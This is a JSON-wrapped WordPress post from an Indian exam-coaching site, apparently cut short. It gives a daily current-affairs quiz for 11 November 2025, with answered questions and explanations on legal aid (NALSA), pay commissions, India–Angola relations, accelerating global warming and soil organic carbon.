{"id":2721,"date":"2025-11-12T02:41:45","date_gmt":"2025-11-12T02:41:45","guid":{"rendered":"https:\/\/iasquest.com\/?p=2721"},"modified":"2026-02-11T18:48:30","modified_gmt":"2026-02-11T18:48:30","slug":"daily-current-affairs-11-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-11-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 11.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. The Legal Services Authorities Act, 1987 provides for which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Establishment of Lok Adalats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Free and competent legal services to weaker sections<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Promotion of alternative dispute resolution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (c) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> PM Modi Inaugurates National Conference on Strengthening Legal Aid Delivery at Supreme Court<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>National Legal Services Authority (NALSA)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Constituted under <strong>Legal Services Authorities Act, 1987<\/strong> (came into force in 1995).<\/li>\n\n\n\n<li>Objective: To provide <strong>free and competent legal services<\/strong> to weaker sections of society and ensure that <strong>justice is not denied due to economic or social barriers<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Constitutional Basis<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Article 39A<\/strong> of the <strong>Directive Principles of State Policy (DPSP): <\/strong>Directs the State to provide free legal aid to ensure equal justice for all.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Structure<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Level<\/strong><\/td><td><strong>Body<\/strong><\/td><td><strong>Head<\/strong><\/td><\/tr><tr><td>National<\/td><td><strong>NALSA<\/strong><\/td><td>Chief Justice of India (Patron-in-Chief)<br>Second senior-most Supreme Court Judge (Executive Chairperson)<\/td><\/tr><tr><td>State<\/td><td><strong>SLSA \u2013 State Legal Services Authority<\/strong><\/td><td>Chief Justice of High Court (Patron-in-Chief)<\/td><\/tr><tr><td>District<\/td><td><strong>DLSA \u2013 District Legal Services Authority<\/strong><\/td><td>District Judge as Chairman<\/td><\/tr><tr><td>Taluk<\/td><td><strong>TLSC \u2013 Taluk Legal Services Committee<\/strong><\/td><td>Senior Civil Judge as Chairman<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Functions of NALSA<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">1. Provide <strong>free legal aid and representation<\/strong> to the poor and marginalized.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">2. Organize <strong>Lok Adalats<\/strong> for amicable dispute settlement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">3. Spread <strong>legal awareness and literacy<\/strong> among citizens.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">4. Promote <strong>alternative dispute resolution (ADR)<\/strong> mechanisms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">5. Frame <strong>schemes for vulnerable groups<\/strong> \u2013 women, children, SC\/ST, senior citizens, victims of trafficking, etc.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">6. Monitor and coordinate the functioning of SLSAs, DLSAs, and TLSCs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Major Schemes by NALSA<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>1. Free Legal Services Scheme<\/strong> \u2013 Legal representation for economically weaker and disadvantaged sections.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>2. Victim Compensation Scheme<\/strong> \u2013 Financial support to victims of crime.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>3. Legal Literacy and Awareness Programme<\/strong> \u2013 Grassroots awareness drives.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>4. Lok Adalats \/ Permanent Lok Adalats<\/strong> \u2013 For pre-litigation and pending cases.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>5. Front Offices in Courts<\/strong> \u2013 To assist litigants in availing legal aid.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>6. Nyaya Bandhu (Pro Bono Legal Services)<\/strong> \u2013 In collaboration with the Department of Justice.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><br><strong>Q. With reference to National Legal Services Authority, consider the following statements:<\/strong> <br><br>1. Its objective is to provide free and competent legal services to the weaker sections of the society on the basis of equal opportunity. <br>2. It issues guidelines for the State Legal Services Authorities to implement the legal programmes and schemes throughout the country. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither I nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-33 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/www.newsonair.gov.in\/pm-modi-to-inaugurate-national-conference-on-strengthening-legal-aid-delivery-at-supreme-court-today\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/pm-modi-to-inaugurate-national-conference-on-strengthening-legal-aid-delivery-at-supreme-court-today\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>2. Consider the following statements with respect to Pay commissions in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">I. A Pay commission is appointed by the Home minister of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">II. It revises retirement benefits, gratuity and leave encashment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">III. The 7th Pay Commission constituted in 2014 is significant for the\u00a0 introduction of a simplified pay matrix.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Which of the statements given above are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(a) I and II only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(b) II and III only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(c) I and III only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Answer: (b) II and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>In NEWS: <\/strong>What is the role of a pay commission? | Explained<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Pay Commission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>A Pay Commission is a government-appointed body that reviews and recommends salaries, allowances, pensions, and other service conditions for central government employees and defense personnel.<\/li>\n\n\n\n<li>Objective: To ensure fair and updated remuneration for employees in line with economic conditions and inflation.<\/li>\n\n\n\n<li>Appointed by: The President of India.<strong> Hence statement I is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Pay Commission<\/strong><\/td><td><strong>Year of Appointment<\/strong><\/td><td><strong>Key Highlights \/ Recommendations<\/strong><\/td><\/tr><tr><td><strong>1st Pay Commission<\/strong><\/td><td>1946<\/td><td>Reviewed pay scales and allowances post\u2011independence.<\/td><\/tr><tr><td><strong>2nd Pay Commission<\/strong><\/td><td>1957<\/td><td>Revised pay scales, allowances and retirement benefits in line with growing economy.<\/td><\/tr><tr><td><strong>3rd Pay Commission<\/strong><\/td><td>1970<\/td><td>Recommended substantial pay hikes and addressed dearness allowance issues.<\/td><\/tr><tr><td><strong>4th Pay Commission<\/strong><\/td><td>1983<\/td><td>Emphasised improving living standards; revised pay, allowances &amp; pensions.<\/td><\/tr><tr><td><strong>5th Pay Commission<\/strong><\/td><td>1994<\/td><td>Major increases in basic pay and allowances; improved retirement benefits.<\/td><\/tr><tr><td><strong>6th Pay Commission<\/strong><\/td><td>2006<\/td><td>Big salary hike (~40\u201150%), new pay bands, revised pensions.<\/td><\/tr><tr><td><strong>7th Pay Commission<\/strong><\/td><td>2014<\/td><td>Introduced simplified pay matrix, fitment factor of 2.57, implemented from Jan\u202f2016. <strong>&nbsp;Hence statement III is correct.<\/strong><\/td><\/tr><tr><td><strong>8th Pay Commission<\/strong><\/td><td>2025<\/td><td>Set up by Cabinet in Jan 2025; recommendations expected by ~2026; will review salaries, pensions and allowances of central government employees and pensioners.<a href=\"https:\/\/economictimes.indiatimes.com\/news\/economy\/policy\/8th-pay-commission-gets-cabinet-nod-implementation-likely-from-january-2026\/articleshow\/124881951.cms?from=mdr&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Key Roles of Pay Commissions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>Revise Pay Scales \u2013 for central government employees and defense personnel.<\/li>\n\n\n\n<li>Update Allowances \u2013 house rent, travel, dearness allowance, and others.<\/li>\n\n\n\n<li>Revise Pension Rules \u2013 including retirement benefits, gratuity, leave encashment. <strong>&nbsp;Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Rationalize Pay Structure \u2013 simplify pay bands and remove disparities.<\/li>\n\n\n\n<li>Improve Employee Morale \u2013 ensure fair compensation in line with economic growth.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Which of the following statements with regard to recommendations of the 15th Finance Commission of India are correct?<\/strong> <br><br>I. It has recommended grants of Rs 4,800 crores from the year 2022-23 to the year 2025-26 for incentivizing States to enhance educational outcomes.\u00a0 <br>II. 45 % of the net proceeds of Union taxes are to be shared with States.\u00a0\u00a0\u00a0 <br>III. 45,000 crores are to be kept as performance-based incentive for all States for carrying out agricultural reforms.\u00a0\u00a0\u00a0 <br>IV. It reintroduced tax effort criteria to reward fiscal performance.\u00a0\u00a0 <br><br><strong>Select the correct answer using the code given below.\u00a0\u00a0<\/strong> <br><br>(a) I, II and III\u00a0\u00a0\u00a0 <br>(b) I, II and IV\u00a0\u00a0\u00a0 <br>(c) I, III and IV\u00a0\u00a0\u00a0 <br>(d) II, III and IV<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-50 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/what-is-the-role-of-a-pay-commission-explained\/article70262556.ece#:~:text=The%20Central%20government%20has,India%2C%20as%20member%2Dsecretary\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/what-is-the-role-of-a-pay-commission-explained\/article70262556.ece#:~:text=The%20Central%20government%20has,India%2C%20as%20member%2Dsecretary<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>3. With reference to India\u2013Angola relations, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. Angola is India\u2019s second-largest trading partner in Africa after Nigeria.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. Both India and Angola are members of the Non-Aligned Movement (NAM) and cooperate within the Global South framework.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Which of the statements given above is\/are not correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In NEWS: <\/strong>Energy cooperation foundation of India-Angola trade ties, says President<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>India\u2013Angola Relations:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Historical Background<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>India supported Angola\u2019s <strong>liberation movement<\/strong> from Portuguese colonial rule (1970s).<\/li>\n\n\n\n<li><strong>Diplomatic relations established:<\/strong> 1985. <strong>40 years of diplomatic ties<\/strong> celebrated in <strong>2025<\/strong>.<\/li>\n\n\n\n<li>Both countries are members of the <strong>Non-Aligned Movement (NAM)<\/strong> and cooperate in the <strong>Global South<\/strong> framework. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Key Agreements &amp; MoUs (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li><strong>Energy cooperation<\/strong> \u2013 Expansion in oil, gas, and renewable energy sectors.<\/li>\n\n\n\n<li><strong>Angola joined the International Solar Alliance (ISA)<\/strong> \u2192 123rd member nation.<\/li>\n\n\n\n<li><strong>Defence LoC of US $200 million<\/strong> by India for defence procurement and capacity building.<\/li>\n\n\n\n<li>MoUs in:<ul><li><strong>Traditional medicine (Ayurveda)<\/strong><\/li><\/ul><ul><li><strong>Agriculture and food processing<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Culture and education exchange (2025-2029)<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Economic &amp; Trade Relations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li><strong>Bilateral trade:<\/strong> ~US $4.2 billion (2022-23)<\/li>\n\n\n\n<li><strong>India\u2019s exports:<\/strong> Pharmaceuticals, rice, machinery, textiles.<\/li>\n\n\n\n<li><strong>Imports from Angola:<\/strong> Crude oil, LNG, diamonds.<\/li>\n\n\n\n<li>Angola = <strong>India\u2019s 2nd largest trading partner in Africa<\/strong> (after Nigeria). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Indian companies active in <strong>oil exploration, diamonds, telecom, and pharmaceuticals<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Strategic Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li><strong>Energy security:<\/strong> Angola is a reliable crude oil source for India.<\/li>\n\n\n\n<li><strong>Critical minerals:<\/strong> Opportunity for Indian investment in diamond and mineral mining.<\/li>\n\n\n\n<li><strong>Defence cooperation:<\/strong> Training, supply, and joint manufacturing potential.<\/li>\n\n\n\n<li><strong>Part of India\u2019s \u201cFocus Africa\u201d and \u201cVision for Global South\u201d<\/strong> initiatives.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Multilateral Cooperation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-72\">\n<li>Collaboration in <strong>UN, AU, NAM, G-77, and ISA<\/strong>.<\/li>\n\n\n\n<li>Supports India\u2019s <strong>reform of UNSC<\/strong> and <strong>African representation<\/strong> in global governance.<\/li>\n\n\n\n<li>India\u2019s engagement aligns with <strong>\u201cIndia-Africa Forum Summit (IAFS)\u201d<\/strong> vision.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements :<\/strong> <br><br><strong>Statement-I: <\/strong>Israel has established diplomatic relations with some Arab States. <br><strong>Statement-II: <\/strong>The &#8216;Arab Peace Initiative&#8217; mediated by Saudi Arabia was signed by Israel and Arab League. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br><strong>(c) Statement-I is correct but Statement-II is incorrect<\/strong> <br>(d) Statement-I is incorrect but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-73 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/india\/energy-cooperation-foundation-of-india-angola-trade-ties-says-president-10356005\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/india\/energy-cooperation-foundation-of-india-angola-trade-ties-says-president-10356005\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>4. Recent studies have found that the pace of global warming has accelerated. If this continues, what are the most possible consequences that will happen in the near future?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">1. Warm-water corals are undergoing near-irreversible die-offs due to marine heatwaves.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">2. The Amazon rainforest is at risk of turning into savannah if deforestation and warming persist.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">3. Greenland Ice Sheet melt could destabilize the Atlantic Meridional Overturning Circulation (AMOC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">4. Antarctic sea ice is declining, reducing phytoplankton growth and worsening carbon imbalance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS:<\/strong> What\u2019s the latest in climate science?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Latest in Climate Science:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Accelerating Global Warming<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>Global average temperature is <strong>rising at 0.27\u00b0C per decade<\/strong>, about <strong>50% faster<\/strong> than the rate (0.2\u00b0C) seen in the 1990s\u20132000s.<\/li>\n\n\n\n<li><strong>2023, 2024, and parts of 2025<\/strong> have recorded <strong>new temperature highs<\/strong>.<\/li>\n\n\n\n<li>The world has already <strong>warmed by 1.3 \u2013 1.4\u00b0C<\/strong> since the pre-industrial period.<\/li>\n\n\n\n<li>The <strong>1.5\u00b0C threshold<\/strong> is likely to be crossed <strong>around 2030<\/strong>, leading to potential <strong>irreversible climate impacts<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Rising Sea Levels<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><strong>Sea level rise<\/strong> has accelerated to <strong>4.5 mm per year<\/strong> over the last decade (up from 1.85 mm\/year since 1900).<\/li>\n\n\n\n<li>Melting glaciers and thermal expansion are major contributors.<\/li>\n\n\n\n<li>Threatens <strong>coastal populations<\/strong>, <strong>island nations<\/strong>, and <strong>marine ecosystems<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Emerging Climate Tipping Points<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li><strong>Warm-water corals<\/strong> are undergoing near-irreversible die-offs due to <strong>marine heatwaves<\/strong> &#8211; possibly the <strong>first major tipping point<\/strong>.<\/li>\n\n\n\n<li>The <strong>Amazon rainforest<\/strong> is at risk of turning into <strong>savannah<\/strong> if deforestation and warming persist.<\/li>\n\n\n\n<li><strong>Greenland Ice Sheet melt<\/strong> could destabilize the <strong>Atlantic Meridional Overturning Circulation (AMOC)<\/strong> which is critical for Europe\u2019s mild winters.<\/li>\n\n\n\n<li><strong>Antarctic sea ice<\/strong> is declining, reducing <strong>phytoplankton<\/strong> growth and worsening <strong>carbon imbalance<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Escalating Wildfires<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-96\">\n<li>Between <strong>March 2024\u2013Feb 2025<\/strong>, wildfires burned <strong>3.7 million sq. km<\/strong> \u2014 roughly the size of <strong>India + Norway combined<\/strong>.<\/li>\n\n\n\n<li>Though slightly below the 20-year average in area, <strong>CO\u2082 emissions<\/strong> from fires were <strong>higher than previous years<\/strong>.<\/li>\n\n\n\n<li>Fires linked to <strong>heatwaves, drought, and land-use change<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Deadly Heat and Human Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-98\">\n<li>Around <strong>half of the global population<\/strong> faces <strong>heat-related health risks<\/strong>.<\/li>\n\n\n\n<li><strong>Worker productivity<\/strong> drops by <strong>2\u20133% for each degree above 20\u00b0C<\/strong>.<\/li>\n\n\n\n<li><strong>Economic losses<\/strong> exceeded <strong>$1 trillion in 2024<\/strong> due to heat-related productivity declines.<\/li>\n\n\n\n<li>Heat impacts are particularly severe in <strong>tropical and developing regions<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-99 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/155718\/OPS\/GHTF402J8.1+GU2F565LC.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/155718\/OPS\/GHTF402J8.1+GU2F565LC.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>5. With reference to Soil Organic Carbon (SOC) in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">1. SOC content is generally higher in colder and high-altitude regions compared to hot plains.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">2. Imbalanced use of fertilisers, especially excessive urea, has been found to reduce SOC levels.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">3. SOC helps in improving the soil\u2019s water-holding capacity and nutrient availability.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>In NEWS: <\/strong>Climate change, imbalance in fertilizer use impacts soil\u2019s organic carbon: ICAR study<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Soil Organic Carbon (SOC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list 